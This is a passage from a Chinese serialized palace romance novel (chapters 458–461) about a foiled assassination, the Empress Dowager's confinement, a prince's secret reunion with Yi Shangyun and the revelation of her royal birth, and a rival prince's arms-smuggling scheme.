复又回过眼神来对着轩辕玥道:“衣姑娘早已料到二皇子因公主被皇上责罚的事,皇后娘娘绝对不会轻易放过咱们。她怕小殿下被皇后娘娘暗中所派来的人伤害,便让锦兰去找皇上,派人来保护小殿下的安危。衣姑娘又急于担心公主您的安危,于是先让锦兰找了一方小殿下的襁褓,衣姑娘她以此前面先将刺客引诱出来。衣姑娘说,除非万不得已,才让锦兰带着小殿下现身将公主劝回。衣姑娘她……” 听着耳边锦兰的字字句句,轩辕玥早已泣不成声。 她抱着孩子缓缓转身,望向眼前夜里平静的湖面哭泣着,在心里默默道:“云儿,对不起,真的对不起,本公主就知道不该怀疑你,你绝对不会忘记我们之间的情谊。可……可事到如今,你又叫我该如何向皇叔交待呢……” 此时,其身旁一直默默立在身边的梅志煊,听闻了锦兰所言,亦是望着眼前的湖水,紧紧的握住了双拳…… 不知何时,湖边亮起来无数的宫灯,似是在为谁照亮着回家的路一般…… 不知过了多久,寂静的空气里,忽然扬起梅志煊的声音来道:“来人,传令下去,就算将整个湖底抽干,亦要给本皇子找到衣姑娘的人,活要见人,死要见尸……” “是!”众人齐声领命。 闻此,轩辕玥忽地将视线转向身边这个如今让她看来,已然陌生的不能再陌生的熟悉人身上。惊讶他此举究竟为何?目的何在? 刹那间,俩个昔日里此生非你不可的人的目光就这样久违了的再次对视在一起,确是再无一人开口说出一句话来。 是不知该怎么说,亦是不能说,亦或…不必再说…… 第四百五十八章:继后禁足 刹那间,俩个昔日里此生非你不可的人的目光就这样久违了的再次对视在一起,确是再无一人开口说出一句话来。 是不知该怎么说,亦是不能说,亦或…不必再说…… 看着梅志煊最后忿忿带人匆匆离开的背影,竟然未对可谓是鬼门关前走了一遭的自己留下只字片语的关怀和解释,轩辕玥惊诧极了,心也着实瞬间冰凉到了极点。 借着眼前纷纷离去的众人手中灯火的照耀,轩辕玥不经意地低眼默默扫了周围一圈。 这才发现地上横七竖八地竟躺着约摸二三十名被梅志煊刺死的黑衣人尸体,正在被留下的几名侍卫清理掉。 望着眼前血腥的一切,她深深地吸了口气,默默地阖起了双眸。 锦兰眺望了一会梅志煊渐渐远去的背影,又看了看轩辕玥此刻满是绝望的脸,正想开口说些什么,余光忽然扫到了湖边草丛里夹杂着的一块玄色腰牌。 她疾步过去小心翼翼的将其拾了起来,翻来覆去定睛查看了一番,心里惊诧极了,忙急奔到轩辕玥的身边,将其悄悄举到其面前,低声道:“公主快看,这是什么?” 轩辕玥缓缓将其手里的腰牌接过,却是瞬间看着其惊呆了,倏地复看向锦兰的眼睛道:“这…这不是…这怎么会呢?” 似是心里顿时有一种说不清的预感涌上心头,可来不及深思,她忙将其收起藏入到自己的袖兜里,又四处望了望,见尚并无人注意到自己,便带着锦兰匆匆离开。 是夜,继后的寝宫。 守门的侍卫忽然听到了一阵紧急的脚步声渐渐逼近,遂睡眼朦胧地擦了擦亮眼睛懒懒直起身来伸出脑袋朝外探了探。 启料忽地看清了门外进来的威严身躯,忙跌跌撞撞地复又跪身了下去俯首朝其大声参拜道:“参见皇上万岁,万岁,万万岁……” 门外的呼声惊醒了内殿服侍的婢女,婢女顿立起身来上前唤醒了榻上因那个不争气的儿子终于还是做出了那般的丑事被禁足,辗转反侧了大半夜,刚刚合上眼的继后:“皇后娘娘,好像是皇上来了。这么晚了,皇上怎么过来了?” 继后心里顿了一下,遂一边被服侍着起身,心中不觉有些烦躁:“净都是些不中用的奴才,天又不曾塌下来,如此慌慌张张的做什么?” 这时,另一婢女亦推门进来,吞吞吐吐地道:“启禀皇后娘娘,是皇上,皇上和三殿下一道来了……” 继后一边更衣,一边不耐烦地道:“来了就来了……” 说着说着顿了一下,似是忽觉有什么不对劲之处:“你说什么?三皇子?那个孽障,半夜三更的,他来做什么?” 婢女亦是不知其由,只得摇了摇头,忙一起上前帮其更衣。 在婢女的搀扶下,继后一走出寝殿,便朝东宁国君欠身行礼:“臣妾参见皇上,不知皇上为何深夜里忽然来到臣妾的寝宫,是发生了什么事情吗?” 见东宁国君一脸厉色地坐着,她遂直立起身来横眼扫了一眼其身后的梅志煊,梅志煊遂上前行礼,朝继后苦道:“儿臣参见母后。儿臣之所以深夜来访叨扰母后休息,实属无奈。敢问母后,不知儿臣平日里哪里做错了,惹恼了皇兄与母后,还请母后明示!” 继后本就心里窝火着,一见到这张面孔更是气不打一处来,便朝其厉声呵斥道:“混账,你这话是什么意思?” 梅志煊继续道:“若真是儿臣的错,任凭母后处置。只求母后不要累及儿臣的妻儿,他们平日里都是中规中矩,从未对母后有半点不敬。” 继后直觉得无厘头,苦笑道:“荒唐,本宫不知道你在说什么?” 梅志煊咬了咬牙:“若是儿臣没有错,那为何先是皇兄白日里意图对玥儿不轨,致使玥儿想不开,险些坠楼自尽丢了性命。尔今,夜里母后竟又亲自派人暗杀海儿……” 继后闻之惊呆了,她看了眼高高在上端坐着的东宁国君,咬牙切齿着将梅志煊的话打断:“混账东西,你是失心疯了吗?空口白牙怎能如此信口开河?” 梅志煊则胸有成竹地道:“儿臣自然不敢诬陷母后,当然能证明自己所说绝非虚言。” 继而朝着门口命令道:“带进来!” 众人纷纷朝门口望去,只见一黑衣蒙面人被两名侍卫反手着押了进来。 那黑衣人一进来,便跪倒在地,朝继后求饶:“皇后娘娘恕罪,属下办事不利,未能成功刺杀三皇子一家三口,请皇后娘娘降罪。” 继后仔细看了看来人,纳闷地道:“你…你又是什么人,本宫并不认识你。” 黑衣人遂从怀里掏出一玉色雕龙凤呈祥的腰牌,双手将其高高举过头顶,道:“皇后娘娘难道不记得了吗?这是您给属下的令牌啊!” 继后顿时百口莫辩,朝其瞪大了眼睛发怒:“你胡说……” 这时,东宁国君沉声道:“这块世间独一无二的龙凤呈祥,是朕亲自赠与你的,怎么?事到如今,难道你还是不肯承认你的所作所为吗?” 继后瞬间明白自己定是被人摆了一道,可究竟是谁呢:“任凭你们怎么说,本宫说没有做过,就是没有做过。而且,那个贱人母子不是都好好的吗?本宫倒要看看,你们能拿本宫怎么样?” “虽然玥儿和海儿幸免于难,然你可知道还有一个人,她……” 梅志煊似是有些激动,正要再说些什么,东宁国君眉头一沉,似是早已得到了自己此次前来想要被证实的答案,遂伸手将其打断,下令:“来人,从此刻开始,将皇后禁足于宫中,没有朕的命令,不许她踏出宫门半步。” “你……”闻此,继后直感到一阵晕眩,踉踉跄跄着,婢女忙上前将她扶住:“皇后娘娘。” “咳咳咳……”脚步刚一迈出继后宫门,东宁国君忽地重重咳了起来。 侍卫忙递上手帕替其轻轻捂住,却忽觉得一股暖流落入手心,遂缓缓打开手里的手帕,见原是一大口鲜血咳出,侍卫顿惊慌失措地道:“皇上……” “嘘”东宁国君忙嘘声将其余下的话打断。 梅志煊届时上前将其扶住,关怀道:“父皇没事吧?” 东宁国君沉声道:“只是偶感风寒,无碍!” 梅志煊信誓旦旦地道:“父皇放心,儿臣一定会将云儿找回来的。” “嗯。” 东宁国君伸出一手拍了拍他的肩膀,淡淡地道,继而带人离去。 回到倚梅轩门前的梅志煊,走走停停,最后脚步刚一跨过门槛,却又忽然停了下来返回去,侍卫疑惑道:“殿下为何不进去了呢?” 梅志煊思索片刻,道:“不必了!” 云卷云舒,日升月潜。 转眼匆匆又是数日已过,又一个除夕之夜竟就这样悄悄地到来了。 不知何时,窗外的雪复又倏倏的扬扬洒洒了起来,落在这个偌大的宫廷中,无数院子里的红梅枝头,在宫灯烛火的照耀下,处处熠熠生辉。 依旧还是不能放下心中的执念,不能选择原谅,只得再次回到倚梅轩的轩辕玥在这段日子里,也似是终于平静下来了许多。 唯有梅志煊那夜的那句话却始终不变地一直萦绕在她耳边:“来人,传令下去,就算将整个湖底抽干,亦要给本皇子找到衣姑娘的人,活要见人,死要见尸……” 她知道,在那种情况下,担心衣上云的安危自是比照顾她的心情更为重要,可她还是不得不承认,在她的心底深处,对衣上云还是有那么一点点妒忌的。 屋内,烛火摇曳下,轩辕玥缓缓放下手中的笔,拿起刚刚书写好的字,认真念道:“翦红情,裁绿意,花信上钗股。残日东风,不放岁华去。有人添烛西窗,不眠侵晓,笑声转、新年莺语。旧尊俎。玉纤曾擘黄柑,柔香系幽素。归梦湖边,还迷镜中路。可怜千点吴霜,寒销不尽,又相对、落梅如雨。” 顿了顿,将其放下,复又转手握起书案前放着的那块熟悉的玄色腰牌在面前,暗自思量着:“算算时间,秦王府也应该早就收到了自己寄回去的消息,也不知皇叔他何时才能醒来?!” 而一想起轩辕瀚,眼前复又浮起衣上云的面孔来,思量片刻,她不禁蹙眉叹声起来:“皇叔,你可一定要醒过来才好啊!皇叔可知,如今的云儿,早已不再是当初的云儿了……” 一念至此,一阵寒风霎时从窗缝袭进来,烛火随之忽明忽暗地跳了跳,她伸手紧了紧身上的披风,眉头亦随之紧紧蹙起。 门外传来锦兰的脚步声。 “海儿可睡了?”轩辕玥微微抬起眼睛来问了句。 锦兰一边进来,一边抿了抿嘴,露出一抹浅笑来答:“小殿下已经睡了。” 进门后,锦兰走过去拿起一件宝蓝色披风替轩辕玥披好,道:“如今,继后和二皇子都被皇上禁足了,宫里倒是果然太平了许多。公主借身体不适推了宫中那边的除夕晚宴也好,咱们也落个清静。今夜,就让奴婢陪着公主一起守岁,为西秦的皇上和皇后娘娘祈福吧!” 轩辕玥听了,对其微微笑了笑,转念却又蹙眉若有所思地道:“可那对母子,也只是暂时被禁足了而已。” 第四百五十九章:往后余生,本王陪你 锦兰并未听清楚轩辕玥所发出的这阵喃喃低语,遂问道:“公主您在说什么?” 轩辕玥忽地回过神来,匆匆收回方才的无边思绪,转念问婢女:“对了,可有打探到殿下这几日去了哪里?” 锦兰稍一思量,将刚刚沏好的一盏热茶递到轩辕玥的手里,回答:“听下人们说,三殿下他,好像是出宫了。” “出宫?”轩辕玥不知为何,闻之忽觉得心中咯噔一下,遂一边接过茶盏一边不解地追问道:“可知此次出宫是为了何事?” 闻声,锦兰却是比她更加吃惊,遂原地一动不动地朝其怔愣了一会儿,道:“自大婚以来,公主不是向来都不过问三殿下的行踪吗?今日怎么……” 若是放在平日里,别说区区仅仅数日,就算梅志煊一走就是好几个月,轩辕玥也从不会探问他去了哪里?又做了什么? 可眼下,她看着案边静静躺着的那块沉重的玄色腰牌,心里七上八下忽越来越觉得将有大事要发生。 见她这些日子以来总是这般忧心忡忡,眉头紧锁,追随着轩辕玥的目光,锦兰似是明白了些许主人的心思。 她朝着外面张望了一下,压低了些许声音道:“奴婢就知道,这些日子里公主一定是觉察到了什么?为了打听殿下的行踪,奴婢可是花了许多心思才找人将殿下院里的侍卫灌醉,方才问得,说是殿下有远方的朋友来访,出宫去应酬了。” “远方的朋友?”轩辕玥蹙眉疑惑地道。 锦兰看似亦似懂非懂,道:“说是这个朋友十分厉害,能助力殿下心想事成,要风得风,要雨得雨!” 锦兰瘪着嘴,纳闷又生气地道:“也不知道他是不是吃醉酒了,才说出这些梦话来,什么要风得风,要雨得雨。” 轩辕玥却看似并不这么以为,她漫不经心地起身来走到窗前对着一盏微微跳跃着的烛火,若有所思着用那几乎只有自己才能听到的声音默默地重复了一遍锦兰的话:“能帮殿下心想事成,要风得风,要雨得雨……” 说完,低眼看了看手里攥着的那块玄色腰牌,这块腰牌她自是并不陌生,那是西秦国兵部专门掌管兵器用的专用腰牌,而且只有其重要将领才会拥有。可眼下这个时候,它怎么会掉落在东宁国的皇宫里。 一念至此,她这才回想起梅志煊这段时间以来,总是进进出出神神秘秘的过往。 曾几何,梅志煊言语中透漏出似是已经掌握了传闻中的那个拥有神秘力量的西秦守护者,而他准备了多年,既然已经寻得了这股力量,可仍旧却迟迟未出手的原因,是东宁国君迟迟不肯让他执掌兵权,所以,他欠缺举事所需要的……兵器。 “难道……西秦有人乘秦皇叔昏迷之际,暗地里与梅志煊勾结,贩卖兵器,亦或者是……”轩辕玥甚至都不敢继续往下想去,紧紧握住那块腰牌。 思及此,轩辕玥强做镇定地将目光定了定,忙问:“派出去的人还没有寻到云儿的消息吗?” 锦兰摇摇头:“还没有关于衣姑娘的消息。” 看着轩辕玥紧紧握着手里的那块冰冷的腰牌,满脸忧心地问:“公主,您该不会是在怀疑兵部有人……” 轩辕玥忽地回过神来,转身抓紧锦兰的手,尤为认真地叮嘱其道:“锦兰,这件事,天知地知,你知我知,千万不能让第三个人知道,否则后果不堪设想,你明白吗?” 锦兰顿愣住朝其直连连点头,主仆俩彼此俱都意味深长地注视着对方的眼睛。 就在这时,屋外忽然传来“嘭”的一声巨响,天空中顿绽开五颜六色满天的灿烂烟花来。 新年到了! 而此时,在城中的另一个角落,一座偏僻寂静的民宅里。 屋内正发出一阵若雷霆之怒的命令道:“下去准备,正月十五元宵节,本王要这整座城都沸腾起来。以此来弥补他们所犯下的过错。敢对本王的女人动手,不可饶恕!” “属下听令。” 待众人散去,方见屋内那正端坐在案边一袭黑色锦袍,墨发全束,尊如神袛的威严身躯方才缓缓松开了不知已紧握了多久的双拳,起身来朝着屏风后踱步进去。 此人便是秘密来到东宁国的西秦秦王,轩辕瀚,他轻轻地来到榻边,平生从未如此温柔地盯视了会儿榻上已陷入昏迷多日的女子的脸。 如今摘掉了面纱遮挡的这张脸,虽略施粉黛,却足以倾国倾城,他很满意,最后撩起袍角坐在了榻边。 伸出一手去握住女子的手,另一手轻抚她清瘦的脸庞,心里懊恼极了地道:“对不起,是本王来迟了,才会让你接二连三受到如此多的委屈。” 一想到自己在北烈得知衣上云的死讯,那时的他,只觉得整片天都塌了一般。 后来在他回到西秦国陷入昏迷后的日日夜夜里,冥冥之中,又仿佛是她在梦里将自己再次唤醒,将他带回到这个世界。 前世今生,恍如隔世。 他曾绝望地以为,今生他们再也不会相遇。 尔今,她就这样再次鲜活又真实地出现在自己的面前,她还活着,这对他而言,是多么让他高兴的事。 想着想着,冰冷的面孔上不禁忽然扬起一抹久违了的浅笑,他遂信誓旦旦地道:“云儿,答应本王,你一定要醒过来。这次,无论如何,本王都再也不会放开你的手。” 说着,轩辕瀚情不自禁地俯身下去,温柔地吻上了女子粉红色柔软的唇瓣。 恰就在这时,女子的手指微微动了动,轩辕瀚刚一觉察到,已然来不及撤回,女子的眼睛便睁了开来。 “你,你是,秦王殿下……”女子睁眼后话刚开口,却又立刻否认道:“不,这不可能,殿下他,他被我连累,已经……是我害死了他,我一定是在做梦,一定是在做梦。” 轩辕瀚见她已然分不清状况,索性便直接再次下去一吻封唇。 俩人顿陷入唇齿纠缠之中,半晌后,轩辕瀚缓缓退去,柔声问:“怎么,现在还以为自己是在做梦吗?” 启料女子直勾勾看着他,看着看着竟忽然哭了起来:“呜呜呜……” 轩辕瀚见了,顿时手忙脚乱道:“怎么了?怎么了?” 心下里一想,难道是许久不见,方才自己的举动惊到了这个小东西,于是忙朝其道歉:“对不起,云儿,本王方才实在是没忍住,都怪本王太思念你了,刚才是不是吓到你了?对不起,对不起。” 女子忽然止住哭声,伸出两只温柔的手来从两边绕过轩辕瀚的耳朵,继而交叉着将其脖颈紧紧环抱了起来,在其耳边柔柔地道:“殿下你还活着,真是太好了!” 至此,轩辕瀚方才安心地笑了起来,与此同时,亦同样将衣上云紧紧抱住。 仿佛这一刻,俩人俱都已经等了太久,太久…… 不知过了多久,衣上云方才回过神来,扫了一眼周围陌生的环境,问:“对了,这里是哪儿?云儿又是怎么出宫的?” 轩辕瀚一边将其扶起身来坐着,一边悠悠道:“这里是本王在东宁国设下的据点,是本王安插在东宁继后身边的人设计将你带出宫来的。” 衣上云瞪大了眼睛朝其惊呆了:“什么?殿下的人竟都已经渗入到东宁继后身边了?” 轩辕瀚挑了挑眉,端来一杯热水,一边喂她,一边道:“云儿,对不起,是本王来迟了,让你一个人到处流浪受苦。” 衣上云一脸歉意,反道:“不,殿下莫要这样说,该道歉的人是我,一直以来,都是云儿在连累殿下。对了,殿下北烈一役,有没有哪里受伤,快让云儿看看!” 衣上云说着,便要掀开被子起身下榻来,轩辕瀚忙一把将其按坐了回去,反握紧衣上云的双手,深情地对其认真道:“本王为你所做的一切,都是心甘情愿的。愿得一人心,白首不分离,今生今世,你是否愿意陪本王一起?” 衣上云听着这个眼前尊如神袛的男子对自己所讲的情话,温柔地与他对视,仿佛他那眼里会发光一般,只得喃喃低语地道:“我,我愿意。” 至此,两人紧紧地深情相拥在一起,轩辕瀚欣喜地道:“本王终于找回你了,待这里的事办完,本王便带你回家。往后余生,本王陪你。” “回家?”听了轩辕瀚的话,衣上云忽地蹙眉起来道。 心下里稍加思索,衣上云与轩辕瀚分开彼此,衣上云显得有些吞吞吐吐地道:“殿下,有些事,云儿需要回家好好证实一下。” 轩辕瀚平静地道:“你是说,关于你真正的身份?究竟是我西秦药师府上的嫡长女,还是……” 仿佛他心底还是有那么一丝犹豫,然终于还是顿了一下,继续看着她的眼睛道:“还是云儿你是这富甲一方的东宁国最尊贵的嫡公主?” 衣上云忙朝其解释:“殿下莫要误会,这不是尊贵与否的问题,而是……” 轩辕瀚伸出一手将其余下的话打断:“你不必与本王解释,本王在决定来东宁的时候便早已预料到会有这一日,索性把他也一并带来了。” “他?”衣上云一脸疑惑地道。 话音刚落,一熟悉的声音从门外响起…… 第四百六十章:原来,一切还可以更完整 轩辕瀚伸出一手将其余下的话打断:“你不必与本王解释,本王在决定来东宁的时候便早已预料到会有这一日,索性把他也一并带来了。” “他?”衣上云一脸疑惑地道。 话音刚落,一熟悉的声音从门外响起:“长姐!” 衣上云寻声望去,透过屋内的屏风,隐隐约约见一身姿挺拔的黑衣男子走了进来。 待其绕过屏风而入,她着实对这来人惊呆了,眼前来人墨发全束,两道英挺剑眉,一双锐利的黑眸,宛若黑夜之鹰一般。 衣上云简直不敢相信自己的眼睛,将其全身仔仔细细打量了一番后,又眨了眨黑眸道:“你,你是……俊儿?” 衣上俊平生第一次尤为认真地对衣上云抱拳行礼:“托长姐的福,承蒙殿下不弃,如今,俊儿已是秦王殿下麾下的一名将领,俊儿能有今日,全是长姐给的,俊儿谢长姐的再生之恩。” 看到衣上俊如今的改变,衣上云心中倍感欣慰,遂看向轩辕瀚的脸堆满感激,一时竟不知该如何开口:“殿下……” 然轩辕瀚却只在嘴角勾出一抹浅笑,盯视着她的眼睛,一脸宠溺。 衣上云看着此时眼前已然不同往日的衣上俊,心里不知有多欢喜,待回过神来,方才急急问他:“对了,俊儿……父亲,母亲,还有姨娘,以及雪儿,他们都可还好吗?” 衣上俊道:“长姐放心,家中一切都好。” “哦……”听到家中平安的消息,衣上云忽地情绪变得低落了起来,低下头去。 她知道自己本该高兴,可同时又觉得自己经历了这么多事,原来对于整个衣府,她竟是如此地被忽略。 见到她忽然淡去了脸上的笑容,轩辕瀚瞬间明白了过来,遂斜眼过去怒瞪了衣上俊一眼。 衣上俊忽地醒悟,尴尬地忙开口解释道:“长姐有所不知,当家里人得知长姐失踪了的消息时,父亲心急如焚,当夜便派我和燕儿连夜冒着大雨赶往城南寻找长姐,可惜,终究我们还是错过了。后来,好不容易盼到燕儿回来了,却唯独不见长姐您。再后来,在与北烈一役中,秦王殿下他更是因以为长姐已被……” 听着听着,霎时间,轩辕瀚忽然伸出一只拳头来抵在唇边发出一阵重重的咳声:“咳咳咳……” 见衣上云显然一脸疑惑地看着自己,轩辕瀚急忙转移其注意力,对着衣上俊道:“衣将军今日怎么那么多废话?” “长姐,其实我们大家每个人无时无刻不都在担心你的安危。”衣上俊匆匆说完这一句,遂吐了口浊气,忙收了声音。 衣上云闻此,心中顿时倍感温暖,再次扬起了笑脸来。 轩辕瀚伸手悄悄拉起她的纤纤玉手,道:“你不是很想知道自己是谁吗?” “我……”衣上云欲言又止道。 轩辕瀚说着,余光斜了一眼衣上俊,衣上俊再次开了口,道:“长姐有所不知,此次俊儿之所以同殿下一道来东宁,实则是受父亲嘱托,前来告诉长姐,关于长姐您的身世。” 衣上云顿卸去了脸上的笑容,疑惑地道:“我的身世?” 衣上俊眉头蹙起,娓娓道来:“对,长姐的身世!” …… 听完衣上俊的话,衣上云不知何时,竟早已不知不觉默默攥起了两只拳头。 轩辕瀚一见心疼极了,悄悄地朝其伸过去自己一双大而有力的手将其捉住,牢牢握在了自己的掌心,其温柔的眼神关切地道:“你,没事吧?” 衣上云不能相信,更不能接受,忽抗拒着道:“可这一切,也都只不过是你们的猜测,根本就没有证据能证明我到底是不是,不是吗?” 看着衣上云投向自己满是置疑的眼神,轩辕瀚道:“前几日,本王在东宁国君身边安插的细作传来消息说,东宁国已故的嫡皇后有一只七彩金丝彩玉镯子,此乃为嫡皇后一脉世代相传之物。” 话未说完,衣上云的思绪再次凌乱,嘴里默默地道:“七彩金丝彩玉镯子,镯子……” 这时,一旁的衣上俊似是亦想起了什么,再次急急开了口:“对,那只镯子,长姐可还记得,曾经与母亲发生争执,差点儿砸了那只镯子,险些毁了……它。” 一时间,衣上云凌乱的记忆,加之听闻了衣上俊刚刚所说,此刻本就五味杂陈复杂的心情,竟忽然因了眼前的这个男人对自己温柔的眼神,瞬间变得柔软了下来。 蹙眉对他对视了片刻后,遂嘴角上扬,噙出一抹淡淡的笑来,强忍着内心的挣扎,缓缓摇了摇头,以示让对方放心。 待其平静了些许下来,衣上俊又道:“俊儿来之前,父亲千叮咛万嘱咐,说请长姐原谅他这十几年来一直都没有告诉您的身世,他原以为那是对长姐好,不曾想,却是害了长姐。父亲说,他终于明白,长姐同长姐您的生母一样,你们身上与生俱来的耀眼光辉,是任谁都遮掩藏不住的。” 衣上云则一边若有所思着,一边低声喃喃地道:“不,从小到大,是我错怪父亲了。” 沉默了会儿,似是一时间对于这些大量的信息她还难以完全接受,只是想起在西秦国和衣府所发生的一幕幕,点点滴滴,她不禁潸然泪下,双眼矇眬了起来。 轩辕瀚一手扶着她的肩,默默陪着她,给予他力量,半晌后,衣上云略微收拾了下心情,开口感激地道:“俊儿,谢谢你告诉我这一切,告诉我,我是谁。” 衣上俊听了抿了抿嘴,默默地退了出去。 一室寂静。 轩辕瀚将衣上云缓缓转向自己,一双大而温暖的手从其肩头缓缓下滑,直至拉起衣上云的双手,看着她噙满泪水湿润的眼睛,认真地说:“不管你是谁,也无论你要做什么。从此以后,你都不再是孤独的一个人。所有事情,本王都会替你解决,你只要乖乖呆在本王身边就好。” 听了轩辕瀚这句饱含深情又发自肺腑的情话,衣上云早已在眼眶里打转的泪水瞬间滑落了下来,轩辕瀚轻轻替其拭去,将他一把紧紧地揽入到自己宽大的怀中。 温存良久后,衣上云忽然在他的怀里低声细语道:“其实,就算我想证明自己真的是东宁国嫡公主,如今我的手镯丢了,怕是永远都无法证明自己了。” 轩辕瀚一听,思绪不禁顿了一下,心里幽幽道:“难道,对你来说,东宁国嫡公主的身份真的如此重要吗?或许,本王不该这么自私,如此一来,这对你,根本就不公平。” 思之又思,轩辕瀚忽然将她靠紧着自己的身子缓缓推了开来,神秘地道:“闭上眼睛。” 衣上云看着他深邃温柔的眼睛,不明所以地道:“殿下……” 轩辕瀚满脸宠溺道:“听话,把眼睛闭上……” 只见衣上云轻轻将双眸合上后,轩辕瀚缓缓从袖子里掏出一白色帕子包着的什么东西,将其捏在手心犹豫了片刻后,缓缓打开伸到了衣上云的眼前:“睁开!” “这,这不是,怎么会,手镯怎么会在殿下的手里?”衣上云瞪大了眼睛,望着眼前自己失而复得的东西,语无伦次着惊呆了。 轩辕瀚道:“在北烈大战的最后关头,本王本来已经捉住了这次战争的罪魁祸首拓跋泽。可他竟然对本王谎称说知道你的下落,并以此要挟本王。若是本王不放了他,你便会有性命之忧。所以……” 往事一幕幕,随都已时过境迁,可如今回忆起来,仿佛就像是昨日才刚刚发生过的一般,即便此时,轩辕瀚依旧倒抽了口气。 衣上云端详了会儿手里的镯子,忽眉头紧皱,咬牙着道:“所以,殿下为了云儿,当真放了那个好不容易才捉住的十恶不赦之人。” 轩辕瀚微微点了点头,又道:“所幸,他倒是把这金丝彩玉镯子让马匹给本王带了回来。如今想来,怕这就是天意吧!” 沉默片刻,轩辕瀚忽然抬起手来接过衣上云手里捏着的镯子,道:“来,让本王将属于你的东西亲自替你戴上。” 衣上云欢喜地高高撩起一只衣袖来,顿时,那白皙的臂上亮出一枚耀眼珍贵的红。 轩辕瀚看着眼前忽然炸出的这抹红,停下手中的动作,朝其瞪大了眼睛惊呆了,平生第一次支支吾吾了起来:“你,你怎么还有守宫砂?” 他这才恍然明白了过来,原来这一切,从头到尾都是梅汐媛和陆天骄联合起来设计从中作梗,衣上云看起来对此毫不知情。 也罢,她本就不该承受这些,他愿她永远都不知道这些卑劣的诡计和手段。 就在他为此而惊诧之间,衣上云柔软的身子突然扑倒在他的怀里,心疼极了地道:“北烈一战,殿下一定吃了不少苦,这一切都怪云儿,云儿不该轻信别人的挑拨,云儿亦不该怀疑殿下的心,千错万错都是云儿的错,云儿如今真的是后悔极了。” 轩辕瀚缓缓收回思绪,遂顺势将自己光洁的下巴抵在衣上云的额头,一手轻轻摩挲着她的肩头,意味深长地道:“不管本王曾经经历过些什么,只要你回来了,平平安安,完完整整地回来了,纵便是吃再多的苦,本王亦都心甘情愿,甘之如饴。” 一室寂静,屋内的光线,空气和氛围仿佛全都刚刚好的样子,让人觉得暖暖的,甜甜的。 窗外的夜空中,漫天的烟花一朵接一朵地腾空升起,灿烂绽放…… 轩辕翰透过窗户,望着漫天的烟火,心里默默地喜道:“原来,一切还可以更完整……” 第四百六十一章:良辰美景两重天 当新年的第一缕晨光洒向人间,照耀在白雪皑皑一片银装素裹的大地,渐渐开始融化这个似是已冰冷了许久的世界,最后偷偷穿过窗棂,暖暖地射入到屋内。 一靠近窗口的角落暖榻上,当一缕微光掠过那张犹如被天宫雕刻过棱角分明的脸庞,轩辕瀚枕着自己的一只胳膊合衣而眠,缓缓地睁开了双眼。 却见不知何时,衣上云夜里竟从屏风后宽大的榻上悄悄起身来,挤身在他的榻边趴在自己的胸口睡了一夜。 映入眼帘的,是她一头乌黑的长发随意散落着,散发出一阵阵淡淡的清香,那白皙姣好的面容,挺立的鼻梁,以及被光照射的透亮的耳朵,粉嫩的柔唇,让看见的人忍不住想要去触摸亲自确认一下,这究竟是人间烟火里长大的女子,还是天宫里不染凡尘的仙女? 像是怕惊醒了她的美梦,轩辕瀚小心翼翼地将自己枕着的一只胳膊轻轻抽了出来,转而悄悄伸过去正想触摸她精致的轮廓,忽闻门口传来一声音道:“殿下。” 像是一个欲要使坏却被人发现的孩子,他倏地迅速收回了自己那只不安分的手。 门外的人许是忽然意识到了自己的过错,竟真的没有再继续出声打扰。 于是,他亦继续贪婪地端详眼前美人依旧好梦的模样。 不知过了多久,方才缓缓起身来将她轻轻抱到了宽大舒适的榻上,好让她能睡的更安稳舒适些。 怎料刚安放好这个柔软的身子准备抽身,却被美人一把环抱住其脖颈,不及其反应过来,几乎是贴着他的耳朵,在他的耳边似梦语一般地柔声细语道:“殿下,你终于回来了,你都不知道我有多想你。” 闻之,轩辕瀚顿时瞪大了眼睛惊呆了。 这一刻,他只觉自己似是连心跳都慢了一拍,这一刻,他竟恨不得马上要了她,与她彻底融为一体,因为他对她的思念实际上一点儿也不比她的少。 可是,他却终是忍住了没有这么做。 他爱她,珍惜她,他要把她所有的美好与珍贵完完整整地留到他八抬大轿,鸿雁为信,三书六礼,十里红妆迎她风风光光入门的那一日,他要让她成为这个世上最幸福的女人。 一念至此,他深吸了口气,默默地吞下口口水,似是庆幸自己的忍耐力还是不错的,待冷静清醒了些许后便替其捻好了被角,满脸恋恋不舍地怔望着她的脸一会儿后方才踱步转身出门,反手将门轻轻掩上。 临走时还不忘对守在门口的侍卫命令:“让她多睡一会儿,不许任何人进去打扰。” “遵命!”俩个如同门神一样的侍卫拱手认真地朝其应道。 然同样的良辰美景下,此时在城郊一处隐秘的别院里,梅志煊的处境则是另一番天地。 只闻“啪”的一声,一只浮雕贴花的如意紫砂杯被大力地摔在了地板上,瞬间支离破碎。 梅志煊近乎于发狂般地朝一帮侍卫咆哮吼道:“废物,一个个都是废物,时至现在还未寻到她半点踪影。那么大一个人,难不成她是插上翅膀飞了,亦或者是人间蒸发了不成!” “属下们办事不利,属下该死,还请殿下息怒!”其中一似领头的黑衣侍卫持剑抱拳,垂首朝其怯怯地致歉道。 梅志煊咬了咬牙,道:“该死,是该死,本皇子再给你们最后三天时间,若是还寻不到她的蛛丝马迹,你们就个个都提头来见。” “属下领命!”众人齐声朝其道。 然梅志煊却依旧气不过地朝其大喝了一声训斥道:“滚!” 也难怪他素日里的沉稳内敛在这一刻破天荒地被彻底颠覆,多年以来,为了心中的大业,他呕心沥血准备了那么久,这会儿眼看着可谓是真正的“一切具备,只欠东风”,哪知这个节骨眼上他费心费力藏在东宁国君身边的底牌竟忽然凭空消失。 他自是不会相信,那晚,衣上云会落入湖中淹死,因为那条湖的沿岸守卫众多,从未淹死过人,就算是淹死了,他的人水性好的多的是,不可能这么多天了,还连尸体都找不到。 此刻,他的双眼直冒火,握起拳头来咬牙切齿地恨恨道:“究竟是谁?若是让本皇子知道是谁劫走了她,本皇子一定要将他千刀万剐,碎尸万段。” 然有道是“福无双至,祸不单行”,这句话可谓是真的一点儿都不错。 一行人等刚刚被痛斥了一顿,小心翼翼地退出去,只见后脚又一侍卫疾步奔跑进来气喘吁吁地禀报:“殿下不好了,出大事了!” 闻声,梅志煊直朝其瞪大了眼睛强压住内心的怒火道:“又发生何事?” 侍卫哪还敢看上面落座着的人的脸,垂首只顾紧忙拭了拭额角的冷汗,又抿了抿嘴,似是终于鼓起了一点儿勇气来,如同豁出去自己的性命一般脱口而出道:“启禀殿下,城中几处这两日陆续发现了前几日来我国护送兵器的西秦商人,怕是…怕是…怕是那些商人当日并未全数返回西秦……” 未及其将话说完,梅志煊惊地几乎是从座位上跳了起来,一把重重地拍在面前的案几上扬声惊道:“你说什么?” 梅志煊一边回忆着一边道:“当时不是我们的人亲自送他们出的城吗?” 